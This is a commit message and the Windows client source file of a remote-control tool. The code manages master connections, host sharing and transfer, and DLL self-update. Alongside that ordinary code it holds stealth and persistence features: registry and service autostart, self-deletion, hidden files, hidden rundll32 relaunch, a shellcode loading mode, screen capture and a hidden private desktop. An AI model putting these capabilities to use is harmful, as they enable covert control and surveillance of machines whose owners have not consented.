A Go-managed host cannot receive the client upgrade that only the MFC master can push. Transfer moves its main link there and brings it back after N days; MFC has no reason to return it. Transfer is not share: ASSIGN writes the target and drops the current connection, so the old master sees the host go offline and the new master gets a normal main link it can remote control and upgrade. While a transfer is live the client refuses a second transfer and any share, so no host is handed to a third master that expiry would orphan. Server: admin-only `transfer_device` WS command, COMMAND_ASSIGN_MASTER + SHARE_TYPE_YAMA_FOREVER as `host:port:days::transport\0`, byte-compatible with the MFC dialog. The transport segment is always present (YAMA_TRANSFER_TRANSPORT, default 0/TCP) because clients keep their current link when it is missing: a WSS-managed host would otherwise retry WSS against the MFC master's raw TCP port and never connect. The empty shine segment keeps the host's header encryption. The button only renders when `device_list.transfer` is present, which MFC never sends, so no MFC change is needed. devicehistory keeps transfer_to/transfer_until for the card badge and drops the marker on expiry or on a fresh login here. Client: KernelManager.cpp writes the registry and disconnects; ClientDll.cpp re-reads the registry at the top of every reconnect, so a mid-session transfer lands on the next round. Expiry is checked before every connect attempt as well as inside the heartbeat loop, so an unreachable target cannot pin the host to an expired address until a restart; restoring rebuilds the link captured on entry (address, header encryption, transport). linux/main.cpp applies the transfer on the main loop and restores the captured endpoint at expiry; Android does the same; macOS has neither share nor transfer.
1088 lines
45 KiB
C++
1088 lines
45 KiB
C++
// ClientDll.cpp : Defines the entry point for the DLL application.
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "ClientDll.h"
|
||
#include "ActivityHistory.h"
|
||
#include <common/iniFile.h>
|
||
#include <common/LANChecker.h>
|
||
#include <common/VerifyV2.h>
|
||
#include <intrin.h> // for __cpuid, __cpuidex
|
||
#include <mutex>
|
||
#include <set>
|
||
extern "C" {
|
||
#include "reg_startup.h"
|
||
#include "ServiceWrapper.h"
|
||
}
|
||
|
||
extern void licenseInit();
|
||
|
||
// Check if CPU supports AVX2 instruction set
|
||
static BOOL IsAVX2Supported()
|
||
{
|
||
int cpuInfo[4] = { 0, 0, 0, 0 };
|
||
__cpuid(cpuInfo, 0);
|
||
if (cpuInfo[0] < 7) return FALSE;
|
||
__cpuidex(cpuInfo, 7, 0);
|
||
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
|
||
}
|
||
|
||
// 自动启动注册表中的值
|
||
#define REG_NAME GetExeHashStr().c_str()
|
||
|
||
// 启动的客户端个数
|
||
#define CLIENT_PARALLEL_NUM 1
|
||
|
||
// 远程地址
|
||
CONNECT_ADDRESS g_SETTINGS = {
|
||
FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION,
|
||
FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", 0, {},
|
||
0, 0, 7057226198541618915, {},
|
||
};
|
||
|
||
// 最终客户端只有2个全局变量: g_SETTINGS、g_MyApp,而g_SETTINGS作为g_MyApp的成员.
|
||
// 因此全局来看只有一个全局变量: g_MyApp
|
||
ClientApp g_MyApp(&g_SETTINGS, IsClientAppRunning);
|
||
|
||
enum { E_RUN, E_STOP, E_EXIT } status;
|
||
|
||
int ClientApp::m_nCount = 0;
|
||
|
||
CLock ClientApp::m_Locker;
|
||
|
||
BOOL IsProcessExit()
|
||
{
|
||
return g_MyApp.g_bExit == S_CLIENT_EXIT;
|
||
}
|
||
|
||
BOOL IsSharedRunning(void* thisApp)
|
||
{
|
||
ClientApp* This = (ClientApp*)thisApp;
|
||
// 只在进程退出时停止分享连接,原服务端的状态变化不应影响分享连接
|
||
return !IsProcessExit() && (S_CLIENT_NORMAL == This->g_bExit);
|
||
}
|
||
|
||
BOOL IsClientAppRunning(void* thisApp)
|
||
{
|
||
ClientApp* This = (ClientApp*)thisApp;
|
||
return S_CLIENT_NORMAL == This->g_bExit;
|
||
}
|
||
|
||
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared, int headerEnc, int protoType)
|
||
{
|
||
auto v = StringToVector(remoteAddr, ':', 2);
|
||
if (v[0].empty() || v[1].empty())
|
||
return nullptr;
|
||
auto a = new ClientApp(g_MyApp.g_Connection, run, shared);
|
||
a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str()));
|
||
if (headerEnc == PROTOCOL_SHINE || headerEnc == PROTOCOL_HELL)
|
||
a->g_Connection->iHeaderEnc = headerEnc;
|
||
// 传输方式只在本实例的那份 CONNECT_ADDRESS 上改(ClientApp 构造时已深拷贝),
|
||
// 不影响主实例。分享实例不走 ApplyProtoSwitch(入口由分享方控制),传输就靠这里
|
||
// 显式给出;-1 表示沿用烘焙值,与改造前一致。
|
||
if (protoType == PROTO_TCP || protoType == PROTO_WS || protoType == PROTO_WSS)
|
||
a->g_Connection->protoType = (char)protoType;
|
||
return a;
|
||
}
|
||
|
||
// ----- 分享实例登记表 -------------------------------------------------------
|
||
//
|
||
// Windows 的分享实例是同进程里的一个 ClientApp + 线程。COMMAND_SHARE_CANCEL
|
||
// 原来只清 share_list,线程没了引用就再也停不掉,只能等进程重启。这里在起线程
|
||
// 前登记指针,取消分享时逐个置 S_CLIENT_EXIT,让分享连接立即断开。
|
||
//
|
||
// 指针只在 StartClientApp 退出时(先摘除、后 delete)失效;StopSharedInstances
|
||
// 在锁内写 g_bExit,与摘除互斥,不会写到已释放的对象。
|
||
namespace {
|
||
struct SharedInstanceEntry {
|
||
ClientApp* app;
|
||
SharedInstanceKind kind;
|
||
std::string target; // "ip:port",用于同一目标的替换与去重
|
||
bool stopping; // 已置 S_CLIENT_EXIT,等待线程注销;不再视为可用连接
|
||
};
|
||
std::mutex g_sharedMu;
|
||
std::vector<SharedInstanceEntry> g_sharedInstances;
|
||
}
|
||
|
||
static void UnregisterSharedInstance(ClientApp* app)
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||
for (size_t i = 0; i < g_sharedInstances.size(); ) {
|
||
if (g_sharedInstances[i].app == app)
|
||
g_sharedInstances.erase(g_sharedInstances.begin() + i);
|
||
else
|
||
++i;
|
||
}
|
||
}
|
||
|
||
BOOL StartSharedClient(ClientApp* app, SharedInstanceKind kind, const std::string& targetKey)
|
||
{
|
||
if (app == nullptr)
|
||
return FALSE;
|
||
app->m_sharedKind = (int)kind;
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||
g_sharedInstances.push_back({ app, kind, targetKey, false });
|
||
}
|
||
HANDLE h = __CreateThread(0, 0, StartClientApp, app, 0, 0);
|
||
if (h == NULL) {
|
||
UnregisterSharedInstance(app);
|
||
delete app;
|
||
Mprintf("[ClientApp] failed to start shared instance thread\n");
|
||
return FALSE;
|
||
}
|
||
CloseHandle(h);
|
||
return TRUE;
|
||
}
|
||
|
||
int StopSharedInstances(SharedInstanceKind kind)
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||
int stopped = 0;
|
||
for (auto& e : g_sharedInstances) {
|
||
if (e.kind == kind) {
|
||
// 心跳循环每秒检查一次 g_bExit;断开后 StartClient 返回,线程自行清理。
|
||
e.app->SetProcessState(S_CLIENT_EXIT);
|
||
e.stopping = true;
|
||
++stopped;
|
||
}
|
||
}
|
||
return stopped;
|
||
}
|
||
|
||
bool HasSharedInstanceForTarget(const std::string& targetKey, SharedInstanceKind kind)
|
||
{
|
||
if (targetKey.empty())
|
||
return false;
|
||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||
for (auto& e : g_sharedInstances) {
|
||
if (e.kind == kind && e.target == targetKey && !e.stopping)
|
||
return true;
|
||
}
|
||
return false;
|
||
}
|
||
|
||
int StopSharedInstancesForTarget(const std::string& targetKey)
|
||
{
|
||
if (targetKey.empty())
|
||
return 0;
|
||
int stopped = 0;
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||
for (auto& e : g_sharedInstances) {
|
||
if (e.target == targetKey) {
|
||
e.app->SetProcessState(S_CLIENT_EXIT);
|
||
e.stopping = true;
|
||
++stopped;
|
||
}
|
||
}
|
||
}
|
||
if (stopped == 0)
|
||
return 0;
|
||
// 等旧线程注销后再起新实例:否则同一 clientID 会短暂出现两条连接,在目标主控
|
||
// 上互相踢。心跳/已连接场景约 1 秒内退出(EXIT 时已跳过额外的 1 秒等待);
|
||
// 卡在建连里的最多等到超时,届时新连接照样被登记,旧线程随后自行消失。
|
||
const ULONGLONG deadline = GetTickCount64() + 2000;
|
||
for (;;) {
|
||
bool alive = false;
|
||
{
|
||
std::lock_guard<std::mutex> lk(g_sharedMu);
|
||
for (auto& e : g_sharedInstances) {
|
||
if (e.target == targetKey) {
|
||
alive = true;
|
||
break;
|
||
}
|
||
}
|
||
}
|
||
if (!alive || GetTickCount64() >= deadline)
|
||
break;
|
||
Sleep(50);
|
||
}
|
||
return stopped;
|
||
}
|
||
|
||
#if _CONSOLE
|
||
#define DLL_API
|
||
#else
|
||
#define DLL_API __declspec(dllexport)
|
||
#endif
|
||
|
||
extern "C" DLL_API int RunCommand(LPBYTE szBuffer, int ulLength) {
|
||
if (!ENABLE_SCREEN || ulLength == 0) {
|
||
return 1;
|
||
}
|
||
if (szBuffer[0] != COMMAND_SCREEN_SPY && szBuffer[0] != TOKEN_PRIVATESCREEN) {
|
||
return 2;
|
||
}
|
||
switch (szBuffer[0]) {
|
||
case COMMAND_SCREEN_SPY: {
|
||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, USING_DXGI, ALGORITHM_H264, TRUE };
|
||
szBuffer = bToken; ulLength = 4;
|
||
CONNECT_ADDRESS* m_conn = g_MyApp.g_Connection;
|
||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength - 1) };
|
||
if (ulLength > 1) {
|
||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||
}
|
||
ThreadInfo m_hThread;
|
||
auto* sub = new IOCPClient(S_CLIENT_NORMAL, true, MaskTypeNone, m_conn, m_conn->GetRandomServerIP());
|
||
// sub->EnableSubConnAuth();
|
||
m_hThread.conn = m_conn;
|
||
m_hThread.p = sub;
|
||
m_hThread.user = user;
|
||
m_hThread.h = __CreateThread(NULL, 0, LoopScreenManager, &m_hThread, 0, NULL);
|
||
while (m_hThread.p) Sleep(1000);
|
||
return 0;
|
||
}
|
||
case TOKEN_PRIVATESCREEN: {
|
||
extern DWORD private_desktop(CONNECT_ADDRESS * conn, const State & exit, const std::string & msg,
|
||
const std::string & signature, const std::string & hash, const std::string & hmac, const std::vector<BYTE>&bmpData);
|
||
std::string hash(skCrypt(MASTER_HASH)), hmac = "1fafa2a373ae5bb0";
|
||
std::thread t(private_desktop, g_MyApp.g_Connection, S_CLIENT_NORMAL, "", "", hash, hmac, std::vector<BYTE>{});
|
||
t.join();
|
||
return 0;
|
||
}
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
DWORD WINAPI StartClientApp(LPVOID param)
|
||
{
|
||
ClientApp::AddCount(1);
|
||
ClientApp* app = (ClientApp*)param;
|
||
CONNECT_ADDRESS& settings(*(app->g_Connection));
|
||
const char* ip = settings.ServerIP();
|
||
int port = settings.ServerPort();
|
||
State& bExit(app->g_bExit);
|
||
if (ip != NULL && port > 0) {
|
||
settings.SetServer(ip, port);
|
||
}
|
||
if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) {
|
||
Mprintf("参数不足: 请提供远程主机IP和端口!\n");
|
||
Sleep(3000);
|
||
} else {
|
||
app->g_hInstance = GetModuleHandle(NULL);
|
||
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
|
||
|
||
do {
|
||
// 保留 S_CLIENT_EXIT:取消分享可能在登记之后、线程真正开跑之前就置了它,
|
||
// 无条件写回 NORMAL 会吞掉停止请求。其余状态(SERVER_EXIT/UPDATE)照旧
|
||
// 复位,否则分享实例会在主控重启后一直空转、再也不重连。
|
||
if (bExit != S_CLIENT_EXIT)
|
||
bExit = S_CLIENT_NORMAL;
|
||
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
|
||
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
SAFE_CLOSE_HANDLE(hThread);
|
||
if (IsProcessExit()) // process exit
|
||
break;
|
||
// 取消分享/转移到期置的是本实例的 EXIT,不是进程退出;此时不必再等,
|
||
// 立刻注销,顺便让替换它的新实例尽快开跑。
|
||
if (app->m_bShared && app->g_bExit != S_CLIENT_EXIT) {
|
||
WAIT_n(!IsProcessExit(), 5, 200);
|
||
}
|
||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||
}
|
||
|
||
auto r = app->m_ID;
|
||
if (app != &g_MyApp) {
|
||
// 先摘除登记再释放,StopSharedInstances 才不会碰到悬空指针。
|
||
UnregisterSharedInstance(app);
|
||
delete app;
|
||
}
|
||
ClientApp::AddCount(-1);
|
||
|
||
return r;
|
||
}
|
||
|
||
/**
|
||
* @brief 等待多个句柄(支持超过MAXIMUM_WAIT_OBJECTS限制)
|
||
* @param handles 句柄数组
|
||
* @param waitAll 是否等待所有句柄完成(TRUE=全部, FALSE=任意一个)
|
||
* @param timeout 超时时间(毫秒,INFINITE表示无限等待)
|
||
* @return 等待结果(WAIT_OBJECT_0成功, WAIT_FAILED失败)
|
||
*/
|
||
DWORD WaitForMultipleHandlesEx(
|
||
const std::vector<HANDLE>& handles,
|
||
BOOL waitAll = TRUE,
|
||
DWORD timeout = INFINITE
|
||
)
|
||
{
|
||
const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // 系统限制(64)
|
||
DWORD totalHandles = static_cast<DWORD>(handles.size());
|
||
|
||
// 1. 检查句柄有效性
|
||
for (HANDLE h : handles) {
|
||
if (h == NULL || h == INVALID_HANDLE_VALUE) {
|
||
SetLastError(ERROR_INVALID_HANDLE);
|
||
return WAIT_FAILED;
|
||
}
|
||
}
|
||
|
||
// 2. 如果句柄数≤64,直接调用原生API
|
||
if (totalHandles <= MAX_WAIT) {
|
||
return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout);
|
||
}
|
||
|
||
// 3. 分批等待逻辑
|
||
if (waitAll) {
|
||
// 必须等待所有句柄完成
|
||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||
DWORD result = WaitForMultipleObjects(
|
||
batchSize,
|
||
&handles[i],
|
||
TRUE, // 必须等待当前批次全部完成
|
||
timeout
|
||
);
|
||
if (result == WAIT_FAILED) {
|
||
return WAIT_FAILED;
|
||
}
|
||
}
|
||
return WAIT_OBJECT_0;
|
||
} else {
|
||
// 只需等待任意一个句柄完成
|
||
while (true) {
|
||
for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) {
|
||
DWORD batchSize = min(MAX_WAIT, totalHandles - i);
|
||
DWORD result = WaitForMultipleObjects(
|
||
batchSize,
|
||
&handles[i],
|
||
FALSE, // 当前批次任意一个完成即可
|
||
timeout
|
||
);
|
||
if (result != WAIT_FAILED && result != WAIT_TIMEOUT) {
|
||
return result + i; // 返回全局索引
|
||
}
|
||
}
|
||
if (timeout != INFINITE) {
|
||
return WAIT_TIMEOUT;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
#if _CONSOLE
|
||
|
||
#include "auto_start.h"
|
||
|
||
// 隐藏控制台
|
||
// 参看:https://blog.csdn.net/lijia11080117/article/details/44916647
|
||
// step1: 在链接器"高级"设置入口点为mainCRTStartup
|
||
// step2: 在链接器"系统"设置系统为窗口
|
||
// 完成
|
||
|
||
BOOL CALLBACK callback(DWORD CtrlType)
|
||
{
|
||
#ifdef _DEBUG
|
||
BOOL isClose = (CtrlType == CTRL_C_EVENT) || (CtrlType == CTRL_CLOSE_EVENT);
|
||
#else
|
||
BOOL isClose = (CtrlType == CTRL_CLOSE_EVENT);
|
||
#endif
|
||
if (isClose) {
|
||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||
while (E_RUN == status)
|
||
Sleep(20);
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
int main(int argc, const char *argv[])
|
||
{
|
||
// Check AVX2 support at startup
|
||
if (!IsAVX2Supported()) {
|
||
MessageBoxA(NULL,
|
||
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||
"CPU 不兼容", MB_ICONERROR);
|
||
return -1;
|
||
}
|
||
|
||
licenseInit();
|
||
|
||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0);
|
||
std::string cmdStr = (runCmd && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "";
|
||
int nCmd = cmdStr.empty() ? 0 : std::atoi(cmdStr.c_str());
|
||
if (nCmd) {
|
||
BYTE buf[] = { nCmd };
|
||
return RunCommand(buf, 1);
|
||
}
|
||
InitWindowsService(NewService(
|
||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
|
||
g_SETTINGS.installDesc[0] ? g_SETTINGS.installDesc : "Provides remote desktop control functionality."), Log);
|
||
bool isService = g_SETTINGS.iStartup == Startup_GhostMsc || (IsSystemInSession0() && g_SETTINGS.iStartup != Startup_GhostSystem);
|
||
bool lockFile = g_SETTINGS.iStartup != Startup_GhostMsc && g_SETTINGS.iStartup != Startup_GhostSystem && !IsSystemInSession0();
|
||
// 注册启动项
|
||
int r = RegisterStartup(
|
||
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Windows Ghost",
|
||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "WinGhost",
|
||
lockFile, g_SETTINGS.iStartup == Startup_GhostSystem ? 2 : g_SETTINGS.runasAdmin, Logf, g_SETTINGS.installFlag);
|
||
if (r <= 0) {
|
||
BOOL s = self_del();
|
||
if (!IsDebug) {
|
||
Mprintf("结束运行.\n");
|
||
Sleep(1000);
|
||
return r;
|
||
}
|
||
}
|
||
|
||
if (!SetSelfStart(argv[0], REG_NAME, Logf)) {
|
||
Mprintf("设置开机自启动失败,请用管理员权限运行.\n");
|
||
}
|
||
|
||
if (isService) {
|
||
g_SETTINGS.iStartup = Startup_GhostMsc;
|
||
bool ret = RunAsWindowsService(argc, argv);
|
||
Mprintf("RunAsWindowsService %s. Arg Count: %d\n", ret ? "succeed" : "failed", argc);
|
||
for (int i = 0; !ret && i < argc; i++) {
|
||
Mprintf(" Arg [%d]: %s\n", i, argv[i]);
|
||
}
|
||
if (ret) {
|
||
Mprintf("结束运行.\n");
|
||
Sleep(1000);
|
||
return 0x20251123;
|
||
}
|
||
}
|
||
|
||
status = E_RUN;
|
||
|
||
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, GetExeHashStr().c_str());
|
||
if (ERROR_ALREADY_EXISTS == GetLastError()) {
|
||
SAFE_CLOSE_HANDLE(hMutex);
|
||
hMutex = NULL;
|
||
#ifndef _DEBUG
|
||
Mprintf("结束运行.\n");
|
||
Sleep(1000);
|
||
return -2;
|
||
#endif
|
||
}
|
||
|
||
SetConsoleCtrlHandler(&callback, TRUE);
|
||
const char* ip = (argc > 1 && argv[1][0] != '-') ? argv[1] : NULL;
|
||
int port = argc > 2 ? atoi(argv[2]) : 6543;
|
||
ClientApp& app(g_MyApp);
|
||
app.g_Connection->SetType(CLIENT_TYPE_ONE);
|
||
app.g_Connection->SetServer(ip, port);
|
||
#ifdef _DEBUG
|
||
g_SETTINGS.SetServer(ip, port);
|
||
#endif
|
||
if (CLIENT_PARALLEL_NUM == 1) {
|
||
// 启动单个客户端
|
||
StartClientApp(&app);
|
||
} else {
|
||
std::vector<HANDLE> handles(CLIENT_PARALLEL_NUM);
|
||
for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) {
|
||
auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE);
|
||
handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0);
|
||
if (handles[i] == 0) {
|
||
Mprintf("线程 %d 创建失败,错误: %d\n", i, errno);
|
||
}
|
||
}
|
||
DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE);
|
||
if (result == WAIT_FAILED) {
|
||
Mprintf("WaitForMultipleObjects 失败,错误代码: %d\n", GetLastError());
|
||
}
|
||
}
|
||
ClientApp::Wait();
|
||
status = E_STOP;
|
||
|
||
SAFE_CLOSE_HANDLE(hMutex);
|
||
Mprintf("结束运行.\n");
|
||
Sleep(500);
|
||
if (isService) {
|
||
Mprintf("CALL ServiceWrapper_Stop.\n");
|
||
int r = ServiceWrapper_Stop();
|
||
}
|
||
Logger::getInstance().stop();
|
||
|
||
return 0;
|
||
}
|
||
#else
|
||
|
||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
|
||
|
||
// Auto run main thread after load the DLL
|
||
DWORD WINAPI AutoRun(LPVOID param)
|
||
{
|
||
do {
|
||
TestRun(NULL, 0);
|
||
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
|
||
// SetServer 返回值判断),不睡就会满速空转、白占一个核且毫无提示。
|
||
// 只在真会空转的条件下睡,正常重启路径零延迟。
|
||
if (S_SERVER_EXIT == g_MyApp.g_bExit && g_MyApp.IsThreadRun())
|
||
Sleep(20);
|
||
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
|
||
|
||
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
|
||
HMODULE hInstance = (HMODULE)param;
|
||
FreeLibraryAndExitThread(hInstance, -1);
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||
DWORD ul_reason_for_call,
|
||
LPVOID lpReserved
|
||
)
|
||
{
|
||
switch (ul_reason_for_call) {
|
||
case DLL_PROCESS_ATTACH: {
|
||
// Check AVX2 support before starting
|
||
if (!IsAVX2Supported()) {
|
||
MessageBoxA(NULL,
|
||
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||
"CPU 不兼容", MB_ICONERROR);
|
||
return FALSE;
|
||
}
|
||
licenseInit();
|
||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||
break;
|
||
}
|
||
case DLL_PROCESS_DETACH:
|
||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||
break;
|
||
}
|
||
return TRUE;
|
||
}
|
||
|
||
// 启动运行一个ghost
|
||
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
|
||
{
|
||
ClientApp& app(g_MyApp);
|
||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||
if (app.IsThreadRun()) {
|
||
// 只在地址真的变了才记日志。主控端重启后,加载器和 AutoRun 会反复调用本函数
|
||
// 直到旧工作线程退完,每次都打一行会把客户端 1000 行环形日志冲光。
|
||
// SetServer 返回 false 表示地址没变,同时也涵盖 TestRun(NULL, 0)(空地址直接返回)。
|
||
if (settings.SetServer(szServerIP, uPort))
|
||
Mprintf("TestRun SetServer[%s:%d]\n", szServerIP ? szServerIP : "", uPort);
|
||
return;
|
||
}
|
||
app.SetThreadRun(TRUE);
|
||
app.SetProcessState(S_CLIENT_NORMAL);
|
||
settings.SetServer(szServerIP, uPort);
|
||
|
||
HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL);
|
||
if (hThread == NULL) {
|
||
app.SetThreadRun(FALSE);
|
||
return;
|
||
}
|
||
#ifdef _DEBUG
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
#else
|
||
WaitForSingleObject(hThread, INFINITE);
|
||
#endif
|
||
SAFE_CLOSE_HANDLE(hThread);
|
||
}
|
||
|
||
// 停止运行
|
||
extern "C" __declspec(dllexport) void StopRun()
|
||
{
|
||
g_MyApp.g_bExit = S_CLIENT_EXIT;
|
||
}
|
||
|
||
// 是否成功停止
|
||
extern "C" __declspec(dllexport) bool IsStoped()
|
||
{
|
||
// 主控端重启(S_SERVER_EXIT):主实例工作线程已结束,即使分享实例仍在运行,
|
||
// 也视为「可重连」。旧 TestRun 加载循环靠它立即重连,无需卸载/重装 TestRun.exe;
|
||
// 分享实例继续存活,不受主控端重启影响。
|
||
if (S_SERVER_EXIT == g_MyApp.g_bExit)
|
||
return true;
|
||
return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0;
|
||
}
|
||
|
||
// 是否退出客户端
|
||
extern "C" __declspec(dllexport) BOOL IsExit()
|
||
{
|
||
return g_MyApp.g_bExit;
|
||
}
|
||
|
||
// 简单运行此程序,无需任何参数
|
||
extern "C" __declspec(dllexport) int EasyRun()
|
||
{
|
||
ClientApp& app(g_MyApp);
|
||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||
|
||
do {
|
||
TestRun((char*)settings.ServerIP(), settings.ServerPort());
|
||
if (S_SERVER_EXIT == app.g_bExit)
|
||
continue; // 主控端重启:立即重连,不等仍存活的分享实例
|
||
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净再退出
|
||
while (!IsStoped())
|
||
Sleep(50);
|
||
break;
|
||
} while (true);
|
||
|
||
return app.g_bExit;
|
||
}
|
||
|
||
// copy from: SimpleRemoter\client\test.cpp
|
||
// 启用新的DLL
|
||
void RunNewDll(const char* cmdLine)
|
||
{
|
||
char path[_MAX_PATH], * p = path;
|
||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||
while (*p) ++p;
|
||
while ('\\' != *p) --p;
|
||
*(p + 1) = 0;
|
||
std::string folder = path;
|
||
std::string oldFile = folder + "ServerDll.old";
|
||
std::string newFile = folder + "ServerDll.new";
|
||
strcpy(p + 1, "ServerDll.dll");
|
||
BOOL ok = TRUE;
|
||
if (_access(newFile.c_str(), 0) != -1) {
|
||
if (_access(oldFile.c_str(), 0) != -1) {
|
||
if (!DeleteFileA(oldFile.c_str())) {
|
||
Mprintf("Error deleting file. Error code: %d\n", GetLastError());
|
||
ok = FALSE;
|
||
}
|
||
}
|
||
if (ok && !MoveFileA(path, oldFile.c_str())) {
|
||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||
if (_access(path, 0) != -1) {
|
||
ok = FALSE;
|
||
}
|
||
} else {
|
||
// 设置文件属性为隐藏
|
||
if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) {
|
||
Mprintf("File created and set to hidden: %s\n", oldFile.c_str());
|
||
}
|
||
}
|
||
if (ok && !MoveFileA(newFile.c_str(), path)) {
|
||
Mprintf("Error removing file. Error code: %d\n", GetLastError());
|
||
MoveFileA(oldFile.c_str(), path);// recover
|
||
} else if (ok) {
|
||
Mprintf("Using new file: %s\n", newFile.c_str());
|
||
}
|
||
}
|
||
char cmd[1024];
|
||
sprintf_s(cmd, "%s,Run %s", path, cmdLine);
|
||
ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE);
|
||
}
|
||
|
||
/* 运行客户端的核心代码. 此为定义导出函数, 满足 rundll32 调用约定.
|
||
HWND hwnd: 父窗口句柄(通常为 NULL)。
|
||
HINSTANCE hinst: DLL 的实例句柄。
|
||
LPSTR lpszCmdLine: 命令行参数,作为字符串传递给函数。
|
||
int nCmdShow: 窗口显示状态。
|
||
运行命令:rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543
|
||
优先从命令行参数中读取主机地址,如果不指定主机就从全局变量读取。
|
||
*/
|
||
extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
|
||
{
|
||
ClientApp& app(g_MyApp);
|
||
CONNECT_ADDRESS& settings(*(app.g_Connection));
|
||
State& bExit(app.g_bExit);
|
||
char message[256] = { 0 };
|
||
if (strlen(lpszCmdLine) != 0) {
|
||
strcpy_s(message, lpszCmdLine);
|
||
} else if (settings.IsValid()) {
|
||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||
}
|
||
|
||
std::istringstream stream(message);
|
||
std::string item;
|
||
std::vector<std::string> result;
|
||
while (std::getline(stream, item, ':')) {
|
||
result.push_back(item);
|
||
}
|
||
if (result.size() == 1) {
|
||
result.push_back("80");
|
||
}
|
||
if (result.size() != 2) {
|
||
MessageBox(hwnd, "请提供正确的主机地址!", "提示", MB_OK);
|
||
return;
|
||
}
|
||
|
||
do {
|
||
TestRun((char*)result[0].c_str(), atoi(result[1].c_str()));
|
||
if (bExit == S_SERVER_EXIT)
|
||
continue; // 主控端重启:立即重连,不等仍存活的分享实例
|
||
// 受控端退出 / 程序更新:等所有实例(含分享实例)退干净
|
||
while (!IsStoped())
|
||
Sleep(20);
|
||
if (bExit == S_CLIENT_EXIT)
|
||
return;
|
||
break; // S_CLIENT_UPDATE
|
||
} while (true);
|
||
|
||
sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort());
|
||
RunNewDll(message);
|
||
}
|
||
|
||
#endif
|
||
|
||
bool ParseAuthServer(const std::string& auth, std::string& host, int& port, bool b=false);
|
||
void ParseAuthServer(CONNECT_ADDRESS *conn) {
|
||
config* cfg = IsDebug ? (config*)new config() : (config*)new iniFile();
|
||
std::string host = conn->ServerIP();
|
||
int port = conn->ServerPort();
|
||
if (ParseAuthServer(cfg->GetStr("settings", "Authorization"), host, port, true))
|
||
conn->SetServer(host.c_str(), port);
|
||
delete cfg;
|
||
}
|
||
|
||
// ---------------- 协议切换(COMMAND_SET_PROTO)的客户端落地 ----------------
|
||
//
|
||
